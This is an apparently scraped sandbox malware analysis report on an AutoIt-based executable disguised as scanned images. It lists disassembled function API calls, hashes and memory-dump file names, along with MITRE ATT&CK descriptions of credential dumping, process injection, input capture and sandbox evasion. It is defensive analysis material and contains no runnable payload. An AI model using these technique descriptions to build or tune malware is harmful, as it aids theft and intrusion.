CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00523018,0052305C), ref: 004E81BF
CloseHandle.KERNEL32 ref: 004E81D1

Strings

\0R, xrefs: 004E818A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0R
API String ID: 3712363035-3234072813
Opcode ID: 2ed681e4d552527897de401306a591bc68d812aae95366a9a0250fe35a9b1746
Instruction ID: 963de987f1649440beea37d357fd25f301a3c2333af23cc7a800a760e1458c51
Opcode Fuzzy Hash: 2ed681e4d552527897de401306a591bc68d812aae95366a9a0250fe35a9b1746
Instruction Fuzzy Hash: 7CF05EB1640310BAE3206761AC89FB73A9CEF16755F004425BF0CD91A2D67D8A0592FC

Function 004D747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004D7493
_wcslen.LIBCMT ref: 004D74B9

Strings

3, 3, 16, 1, xrefs: 004D7483

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 03ba7ad9e66086bbc005f2f82577c64b78bcbfb7d85f6558a9372355d75aa8c7
Instruction ID: 89c10d02f46e4c153a796e9257c1faf0fc4600a56c16b4aede3265ccae8e5e39
Opcode Fuzzy Hash: 03ba7ad9e66086bbc005f2f82577c64b78bcbfb7d85f6558a9372355d75aa8c7
Instruction Fuzzy Hash: 6BE02B82204220119232127B9CD19BF5A89DFC9760710182FFA89C2366FB9C8D9193A9

Function 004B0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 004B0B23

Strings

AutoIt, xrefs: 004B0B17
Error allocating memory., xrefs: 004B0B1C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: ed0fe37f1eb9f9a42c047195430069234d4f8ac37842a6925bcc3df7765eb3c2
Instruction ID: f183ea86e40eb03bf31fc6ba8b4eaca0f4ab9096b8011610861ab9983a23e622
Opcode Fuzzy Hash: ed0fe37f1eb9f9a42c047195430069234d4f8ac37842a6925bcc3df7765eb3c2
Instruction Fuzzy Hash: 20E0D83128434826D2143696BC43FD97E849F05B2AF20442FFB98955C39BEA689046EE

Function 00470D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0046F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00470D71,?,?,?,0045100A), ref: 0046F7CE

IsDebuggerPresent.KERNEL32(?,?,?,0045100A), ref: 00470D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0045100A), ref: 00470D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00470D7F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 04fbb964ca9dc6cf24e49c894f75db9ed03618ce0fabea4d57f9faddb7b86bf5
Instruction ID: b165fa88654d4f79fdb1c207da81ad20c8a8e6b9fd4a6c41a636dca71f4ebf7e
Opcode Fuzzy Hash: 04fbb964ca9dc6cf24e49c894f75db9ed03618ce0fabea4d57f9faddb7b86bf5
Instruction Fuzzy Hash: 78E06D746017818FD3309FBDE4443967BE0AF10749F00897EE48ACA652EBB8F4498B99

Function 0046E398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0046E3D5

Strings

8%R, xrefs: 0046E3CA
0%R, xrefs: 0046E3B5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%R$8%R
API String ID: 1385522511-1208163964
Opcode ID: 3216ebf02290777d4ffcc38e480f80c18e89916e2420893660c66de946dad7cf
Instruction ID: 192d163576a5a28b1a8fef910b7ccd1ec82681ea315ee8f6f363b1437edbf6cd
Opcode Fuzzy Hash: 3216ebf02290777d4ffcc38e480f80c18e89916e2420893660c66de946dad7cf
Instruction Fuzzy Hash: BDE0203DA01920DBC61C971EF45498833D1FF16324F50816BE8018F3D1AB3C6C83954E

Function 004C3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 004C302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 004C3044

Strings

aut, xrefs: 004C3038

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 6c771bb8ec57b4a72a8db3c88af5280794dcc69338662c123c3341c52f21be19
Instruction ID: 10109a587ab56b56fc784c10b48f37be6144d1fe59c6ec2da445c025ffae92dc
Opcode Fuzzy Hash: 6c771bb8ec57b4a72a8db3c88af5280794dcc69338662c123c3341c52f21be19
Instruction Fuzzy Hash: 5BD05B7190031467DA2097949C8DFC73A6CEB04751F0001A17755D6091DAB09585CAD4

Function 004AD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004AD220

Strings

%.3d, xrefs: 004AD22B
X64, xrefs: 004AD2A8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 2a5b34ad3dadda6521407fcd3dd3eac2adda8816bbe192280fc0b39f910458e4
Instruction ID: b66fed9890a774e56c707c5a358819375f7beb90e593df7ebdb7d0c221a19af6
Opcode Fuzzy Hash: 2a5b34ad3dadda6521407fcd3dd3eac2adda8816bbe192280fc0b39f910458e4
Instruction Fuzzy Hash: 09D012B2C08109EACB5096D0DC85AF9B37CBB29301F5084A3F90791440E62CD54AE76B

Function 004E2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004E236C
PostMessageW.USER32(00000000), ref: 004E2373

Part of subcall function 004BE97B: Sleep.KERNEL32 ref: 004BE9F3

Strings

Shell_TrayWnd, xrefs: 004E2365

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 095c321e786470c3420157055fa3c0148efa198e3fc7abeb4f1973c0953d6a85
Instruction ID: 067cab65a2d3077fb69569742d7fe273ae2079c65e229c77fab35ec559622ae5
Opcode Fuzzy Hash: 095c321e786470c3420157055fa3c0148efa198e3fc7abeb4f1973c0953d6a85
Instruction Fuzzy Hash: E3D0C976381350BAE664A7719C8FFC66A14AB44B14F0049267645AA1D1C9A4B8468A58

Function 004E2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004E232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 004E233F

Part of subcall function 004BE97B: Sleep.KERNEL32 ref: 004BE9F3

Strings

Shell_TrayWnd, xrefs: 004E2325

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 086539ce94fedd3a70f98cb2a53cce9695973c840eea0c282314125459374f33
Instruction ID: 3d22147c3a388d6300c8463b1aae1e63fba9dd54ded6adf92df6c2c52a9c7130
Opcode Fuzzy Hash: 086539ce94fedd3a70f98cb2a53cce9695973c840eea0c282314125459374f33
Instruction Fuzzy Hash: 72D0A936380350BAE264A3319C8FFC66A04AB00B00F0009267205AA0D1C9A0A8028A18

Function 0048BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0048BE93
GetLastError.KERNEL32 ref: 0048BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0048BEFC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 03f72e62e8daa0af8ad40ed78671e00004084d7b2dfa36b5161312dce0e7ea4a
Instruction ID: 6bc79184ce2b0466bb176ad104b07fd7acbaf86b88d74cc85cdba2ab19560832
Opcode Fuzzy Hash: 03f72e62e8daa0af8ad40ed78671e00004084d7b2dfa36b5161312dce0e7ea4a
Instruction Fuzzy Hash: 8B41D835604206AFCF21AF65CC84ABF7BA5DF41310F14856AFB599B2A1DB348D01CB99

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scanned-IMGS_from NomanGroup IDT.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\27-827K5X9

C:\Users\user\AppData\Local\Temp\peaks

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Scanned-IMGS_from NomanGroup IDT.scr.exe

Function 004542DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Function 004542A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 00492BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Function 00452CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 0049065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 0045344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00452B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Function 00453170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Function 01572B30 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00452C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01572910 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140
fileCOMMON

Function 00453B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Function 01571800 Relevance: 6.7, APIs: 4, Instructions: 720
processthreadCOMMON

Function 00453923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
windowCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

